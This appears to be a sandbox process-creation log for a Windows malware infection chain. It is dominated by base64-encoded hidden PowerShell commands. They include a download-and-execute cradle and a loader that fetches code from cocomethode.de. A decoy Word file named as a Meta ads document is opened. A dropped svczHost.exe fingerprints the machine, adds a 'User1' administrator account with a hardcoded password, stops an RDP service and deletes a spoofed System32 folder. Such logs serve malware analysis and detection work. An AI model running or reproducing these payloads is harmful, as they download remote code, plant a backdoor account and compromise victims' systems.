"UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1398.tmp" "c:\Users\user\AppData\Local\Temp\cmtdzwyg\CSC242A5CAAB1D0469F832A574E762FFEC7.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o ""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpAC
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\sppsvc.exe C:\Windows\system32\sppsvc.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: unknown	Process created: C:\Windows\Temp\svczHost.exe C:\Windows\Temp\svczHost.exe cakoi10 cocomethode.de
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop "myRdpService"
